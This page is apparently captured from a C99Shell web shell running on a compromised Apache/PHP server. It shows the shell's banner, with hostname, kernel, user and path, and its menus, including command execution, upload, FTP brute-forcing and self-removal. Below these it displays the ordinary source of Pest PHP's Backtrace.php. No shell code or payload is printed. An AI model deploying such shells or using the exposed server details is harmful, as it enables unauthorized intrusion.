!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/pestphp/pest/src/Support/   drwxr-xr-x
Free 29.06 GB of 117.98 GB (24.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Backtrace.php (3.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Pest\Support;

use 
Pest\Exceptions\ShouldNotHappen;

/**
 * @internal
 */
final class Backtrace
{
    
/**
     * @var string
     */
    
private const FILE 'file';

    private const 
BACKTRACE_OPTIONS DEBUG_BACKTRACE_IGNORE_ARGS;

    
/**
     * Returns the current test file.
     */
    
public static function testFile(): string
    
{
        
$current null;

        foreach (
debug_backtrace(self::BACKTRACE_OPTIONS) as $trace) {
            
assert(array_key_exists(self::FILE$trace));

            
$traceFile str_replace(DIRECTORY_SEPARATOR'/'$trace[self::FILE]);

            if (
                
Str::endsWith($traceFile'overrides/Runner/TestSuiteLoader.php') ||
                
Str::endsWith($traceFile'src/Bootstrappers/BootFiles.php')
            ) {
                break;
            }

            
$current $trace;
        }

        if (
$current === null) {
            throw 
ShouldNotHappen::fromMessage('Test file not found.');
        }

        return 
$current[self::FILE];
    }

    
/**
     * Returns the current datasets file.
     */
    
public static function datasetsFile(): string
    
{
        
$current null;

        foreach (
debug_backtrace(self::BACKTRACE_OPTIONS) as $trace) {
            
assert(array_key_exists(self::FILE$trace));

            
$traceFile str_replace(DIRECTORY_SEPARATOR'/'$trace[self::FILE]);

            if (
Str::endsWith($traceFile'Bootstrappers/BootFiles.php') || Str::endsWith($traceFile'overrides/Runner/TestSuiteLoader.php')) {
                break;
            }

            
$current $trace;
        }

        if (
$current === null) {
            throw 
ShouldNotHappen::fromMessage('Dataset file not found.');
        }

        return 
$current[self::FILE];
    }

    
/**
     * Returns the filename that called the current function/method.
     */
    
public static function file(): string
    
{
        
$trace self::backtrace();

        return 
$trace[self::FILE];
    }

    
/**
     * Returns the dirname that called the current function/method.
     */
    
public static function dirname(): string
    
{
        
$trace self::backtrace();

        return 
dirname($trace[self::FILE]);
    }

    
/**
     * Returns the line that called the current function/method.
     */
    
public static function line(): int
    
{
        
$trace self::backtrace();

        return 
$trace['line'] ?? 0;
    }

    
/**
     * @return array{function: string, line?: int, file: string, class?: class-string, type?: string, args?: mixed[], object?: object}
     */
    
private static function backtrace(): array
    {
        
$backtrace debug_backtrace(self::BACKTRACE_OPTIONS);

        foreach (
$backtrace as $trace) {
            if (! isset(
$trace['file'])) {
                continue;
            }

            if ((
$GLOBALS['__PEST_INTERNAL_TEST_SUITE'] ?? false) && str_contains($trace['file'], 'pest'.DIRECTORY_SEPARATOR.'src')) {
                continue;
            }

            if (
str_contains($trace['file'], DIRECTORY_SEPARATOR.'pestphp'.DIRECTORY_SEPARATOR.'pest'.DIRECTORY_SEPARATOR.'src')) {
                continue;
            }

            return 
$trace;
        }

        throw 
ShouldNotHappen::fromMessage('Backtrace not found.');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--